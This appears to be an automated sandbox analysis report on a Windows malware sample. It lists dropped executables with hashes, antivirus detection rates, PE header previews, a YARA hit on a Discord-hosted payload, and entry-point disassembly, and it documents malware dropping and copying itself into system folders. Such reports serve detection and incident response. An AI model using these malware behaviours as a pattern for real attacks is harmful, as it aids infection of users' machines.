MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50E7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\72B9.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7336385
Entropy (8bit):	7.993036026488077
Encrypted:	true
SSDEEP:	196608:l++hvICteEroXxqENE+sKsXXgvkwuUxNhMC/CKN7kL:BInEroXjsKkXgs/EhWKNY
MD5:	AE6510D9815C44A818F722ECAE6844B8
SHA1:	2A34B5110F5C3C2424AE9685F57261E2546BD963
SHA-256:	C3CAD582268B165711E2F2B1834891C7BCB5E57A7EFB1E709E3DF19D011AD656
SHA-512:	8CAA9E661403D5D86F69E7C35E45CDF927EF9EC0C6045ED2CA5AF2EAAF26B4F99291EADAF2F0C8C00A31B05B228C6DF0C4BD205A7B3EC70E263313A08FFEF4F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'X.8c9.kc9.kc9.kwR.jh9.kwR.jd9.kwR.j.9.k.V#kg9.k1L.jE9.k1L.jr9.k1L.jj9.kwR.jh9.kc9.k.9.k.L.jp9.k.L.jb9.kRichc9.k................PE..d.....a.........."......6...T................@....................................%.p...`..................................................[..x...............................H... 9..............................@9..8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........p.......T..............@....pdata...............`..............@..@_RDATA...............~..............@..@.rsrc...............................@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7F9A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3596288
Entropy (8bit):	7.997492170986202
Encrypted:	true
SSDEEP:	49152:x+8QEA1GN2zhieKqcTe0f3nWNHiZWf5dxQNPY7wUE9E8gnH43lvn/3juAVUk3Imp:xZ3KKqcTMNIWBnYAlRo7uOUk3ll4UMS
MD5:	8897C1354CB525DE5F4DE514D6FE836D
SHA1:	2F92D4CCA4D7576603A442BBACB87450F41CFE6E
SHA-256:	407C68405D373D2C8EF66B004B293BE25D571348E8922D02D7B79EB20A5138DB
SHA-512:	A46C6F7BAF298C34607701353E136120153521326A77C787F62F8BF439BB7DEC188A757271B4C8E47E650E86272159FD5D072A1530195D60900FEB8C481F671D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S.......6.....................................\|.N. ....0M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........?....P......................@.............1..p......................@....rsrc........0M.......0.............@....2pZFPAB......N......02.............@....adata........S.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8ECE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3590144
Entropy (8bit):	7.997643531968
Encrypted:	true
SSDEEP:	49152:3+N1VszZfKeEM30gwJHRUy0hsgpJx7SbEmW/DNYwtinYQYwDvvEipRiGqmkNajh1:381EKrHVRA2A/+NWxYZYYDvvNji7o
MD5:	DA5C869D0ADE431230679390B5D183BF
SHA1:	A0A3EC54CDC7762F78BF1DD2C5594F9A6AF2CBC3
SHA-256:	98CE1395284401CDB5EBF5BDBCB02DDE9C404BEB668B7FF985794AE0408A5805
SHA-512:	47EA2FF52B50F1E4CB27957451D6C50F2D90B861A4BAF9A96718749368D76491CF9B1D39AA23E059A2A589DC48BD1EF0C529AE201EAD635806CA89A276C82087
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@..........................pS.....#87.....................................\|.N. .....M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@................P......................@.............1..`......................@....rsrc.........M.......0.............@....kujN2o2......N.......2.............@....adata.......`S.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9460.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\969F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	5.021094695416705
Encrypted:	false
SSDEEP:	384:1P27QR0ir3uqVQ1Tf+1rkZlgEdLcHIH+2f9sFIILCbj4KQWylH28iYfx:1PYQR0i4krj58LIL0zy2
MD5:	9DA91D9E3AD909FB8EBA4D3D74344982
SHA1:	D5B6872D062043478CBA1002A815A013952D3837
SHA-256:	0417281135837E3CCC11F35B2D17A6A3672B011E85C18884F54F6FEABA7B8069
SHA-512:	29D672F0BB8AEE885F008F7B7EBED499E7C5D8738B9373BF169896BE85C271FAAB5BD9792C176C7CDCB1C39606F07041E1E54E8F893D1D91F49509DF927AA8A0
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\969F.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...!................0..J..........rh... ........@.. ...............................1....@................................. h..O...................................Tg..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............N..............@..B................Th......H........C..."...........e..p...........................................^..}.....(.......(.........0...............(...%.-...(.....s......s....... ....o...... ....o.....(....r...po......... ....s..........o.....[o....o.........o ....[o....o!......o"......o#....s$............io%......o&.........,...o'......o(........,..o'.........,..o'........+.....(................"......................0............o).....(.....s+....+..*...0...........s,.... ....(-.....(........r%..po/.

C:\Users\user\AppData\Local\Temp\9779.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	324608
Entropy (8bit):	6.705560699768563
Encrypted:	false
SSDEEP:	6144:8cXfhxLWOCPRZa9XQ9XuxYADj5QTM44lq46Ue:8cXfhxKPZyK+x3NQN4l3Je
MD5:	043B44289E31BD54357F9A5C21833259
SHA1:	C042C1D364887BBF71B070C8DD6C66C08A818834
SHA-256:	8DC59F6481C6FE183ADAC2B720FFA276CC9F52D83521200B1A85BB5FF8E4046A
SHA-512:	AC7098ED6CC6922577D0C87F4E3BA6EF32973C1641C98B3C675EFBBC548A63346DE87A0026ADB850144B120604BB7B9982A69E1AA2859D0E0A3A0CCE08573756
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...o.}`............................P.............@.................................[.......................................t...P.......(...............................................................@...............L............................text............................... ..`.data...............................@....zic................................@....wuvuhus............................@....jufot..............................@....rsrc...(............$..............@..@.reloc..dF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A019.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.6829606926024825
Encrypted:	false
SSDEEP:	6144:+/jCnwGXFliTnwC2aJLQt55gPnHswDcEgoJgnyyB:+/jZR2GK7g/swdgoiF
MD5:	679831CF1F00950B4ADFFBBBA7E6AB46
SHA1:	F4AA59829222D5ED000849EA0167082F54B59E03
SHA-256:	760D44EA1A90C1B235133258A8F03BED049B5B51328AEFE4A2595B6F085DD99D
SHA-512:	5D88BC6FA746628F9EB792612B857D7724DA4827445EDF2A7850190358A3C9C08CAA602DF2CC92EBA96571D4C34A0E311007C8688FA437203F8EEC3185C2ED8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L......`..........................................@..................................i..........................................P.......(...............................................................@...............L............................text...n........................... ..`.data...............................@....wumened............................@....kilohe.............................@....putohox............................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A881.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	321024
Entropy (8bit):	6.689067457982047
Encrypted:	false
SSDEEP:	6144:XxPbeuhFMQH+prd0WRRa/CMjXOfo68JRD0QsGrnysp:XPTWRRZM+fuJR5sG
MD5:	9AF71C74219794F100EA801B528339AF
SHA1:	DDE2BB10F1E77E03CF9190467DB85E515D720012
SHA-256:	84AEC628E2903022FBC5737746812D983B65A1D1EFD1110FF7D15BA49D6D15B0
SHA-512:	602ACA3D539FF09F384B35FA8C2B8521F20113362E33657FCB645D3171A402DBADFF7F4E564D57B34B896CBB55E55718CFC947F61CABAD1C9058E624B9B9E6BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...i.`..........................................@.................................s...........................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....mekafe.............................@....tuxu...............................@....hawoz..............................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B217.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\lnagngtg.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\A881.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11619840
Entropy (8bit):	3.8195691800841227
Encrypted:	false
SSDEEP:	6144:rxPbeuhFMQH+prd0WRRa/CMjXOfo68JRD0QsGrnyspaaaaaaaaaaaaaaaaaaaaaH:rPTWRRZM+fuJR5sG
MD5:	673D618D671523049906C3308A9AAD4F
SHA1:	D0ED8C79559CE9000A8196E62B127E40A8C61CB7
SHA-256:	5D2E5FFDA32AC3FEEA1526B4F05363B6F1994F18C1F27993FED00ACD4FCF7C88
SHA-512:	57622653554190523F7BFC4C127B33974335D3C8B98C041940545B9AEF53C69555D7E858542FCA08441EF6350B9D2E5926C97C70623783C8848DE0789FE65DE8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...i.`..........................................@.................................s...........................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....mekafe.............................@....tuxu...............................@....hawoz..............................@....rsrc...(...........................@..@.reloc..ZF..........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rcvfbte Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.6829606926024825
Encrypted:	false
SSDEEP:	6144:+/jCnwGXFliTnwC2aJLQt55gPnHswDcEgoJgnyyB:+/jZR2GK7g/swdgoiF
MD5:	679831CF1F00950B4ADFFBBBA7E6AB46
SHA1:	F4AA59829222D5ED000849EA0167082F54B59E03
SHA-256:	760D44EA1A90C1B235133258A8F03BED049B5B51328AEFE4A2595B6F085DD99D
SHA-512:	5D88BC6FA746628F9EB792612B857D7724DA4827445EDF2A7850190358A3C9C08CAA602DF2CC92EBA96571D4C34A0E311007C8688FA437203F8EEC3185C2ED8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L......`..........................................@..................................i..........................................P.......(...............................................................@...............L............................text...n........................... ..`.data...............................@....wumened............................@....kilohe.............................@....putohox............................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rcvfbte:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1625951749021364
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3z2+h:j+s+v+b+P+m+0+Q+q+9+h
MD5:	44A7B0493CF5DB2EA4B3AA98E369F59D
SHA1:	60322A1984D18CEB3F7105F9086584FFAEEDBBC5
SHA-256:	4248B10ADC263B0A71E1458C5A950B9387DFD5124DD8B91928684262E1DABF11
SHA-512:	7081E092B955DEEA6B1BCF1504EF3812A1ABF0A33BF13F33B8BBBA8ACF22941288A7BA0A9CF5F6E50BFFE52CDF60670A9DB3AC5E18E87BFA296367E8EAF4FD1A
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220115_042221_285.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.318412811253484
Encrypted:	false
SSDEEP:	96:jC/C42o+WK5Su912YnmC0vI2lXSk4P4mlT2WYFzqUMCv6JRW:2YtkyX2YvnCAw
MD5:	EFF2FE31D906DBDDEC1625C346AC4F99
SHA1:	C265CAF999BC43A36D61FB235CDFE77C1AB4916D
SHA-256:	2EB779DDF0FD27ED793FBA33F606DDDEA5CAC283DA2810E3932B43E6F3347DFB
SHA-512:	897D7F6E59C9041C5DB3FC1975382F61B4465CBD6BEA91198238EF0BDEC2064794F2C7BBD77725F75E38E1504617227262CAFF5186AD96E1384F7EC2E583730E
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!............................................................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... ......PR}............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.1.5._.0.4.2.2.2.1._.2.8.5...e.t.l.........P.P.................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11619840
Entropy (8bit):	3.8195691800841227
Encrypted:	false
SSDEEP:	6144:rxPbeuhFMQH+prd0WRRa/CMjXOfo68JRD0QsGrnyspaaaaaaaaaaaaaaaaaaaaaH:rPTWRRZM+fuJR5sG
MD5:	673D618D671523049906C3308A9AAD4F
SHA1:	D0ED8C79559CE9000A8196E62B127E40A8C61CB7
SHA-256:	5D2E5FFDA32AC3FEEA1526B4F05363B6F1994F18C1F27993FED00ACD4FCF7C88
SHA-512:	57622653554190523F7BFC4C127B33974335D3C8B98C041940545B9AEF53C69555D7E858542FCA08441EF6350B9D2E5926C97C70623783C8848DE0789FE65DE8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...i.`..........................................@.................................s...........................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....mekafe.............................@....tuxu...............................@....hawoz..............................@....rsrc...(...........................@..@.reloc..ZF..........................@..B................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6829606926024825
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZA3cYU28Yl.exe
File size:	320000
MD5:	679831cf1f00950b4adffbbba7e6ab46
SHA1:	f4aa59829222d5ed000849ea0167082f54b59e03
SHA256:	760d44ea1a90c1b235133258a8f03bed049b5b51328aefe4a2595b6f085dd99d
SHA512:	5d88bc6fa746628f9eb792612b857d7724da4827445edf2a7850190358a3c9c08caa602df2cc92eba96571d4c34a0e311007c8688fa437203f8eec3185c2ed8f
SSDEEP:	6144:+/jCnwGXFliTnwC2aJLQt55gPnHswDcEgoJgnyyB:+/jZR2GK7g/swdgoiF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,...~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L......`...........................

File Icon


Icon Hash:	c8d0d8e0f0e0f4e0

Static PE Info

General
Entrypoint:	0x41b290
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x602EA3B5 [Thu Feb 18 17:28:21 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6801e04a0c2ca60ac2497c0d8723846b

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FED28AEE81Bh
call 00007FED28AE1796h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043D888h
push 0041E470h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0040109Ch]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007FED28AE17A8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007FED28AE18D7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007FED28AE1914h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007FED28AEF1FAh
add esp, 04h
test eax, eax
jne 00007FED28AE178Ch
push 0000001Ch
call 00007FED28AE18CCh
add esp, 04h
call 00007FED28AEA874h
test eax, eax
jne 00007FED28AE178Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3dfb4	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x150000	0x8728	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x159000	0x1e00	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13a0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9100	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x34c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e36e	0x3e400	False	0.581129204317	data	6.95926809019	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
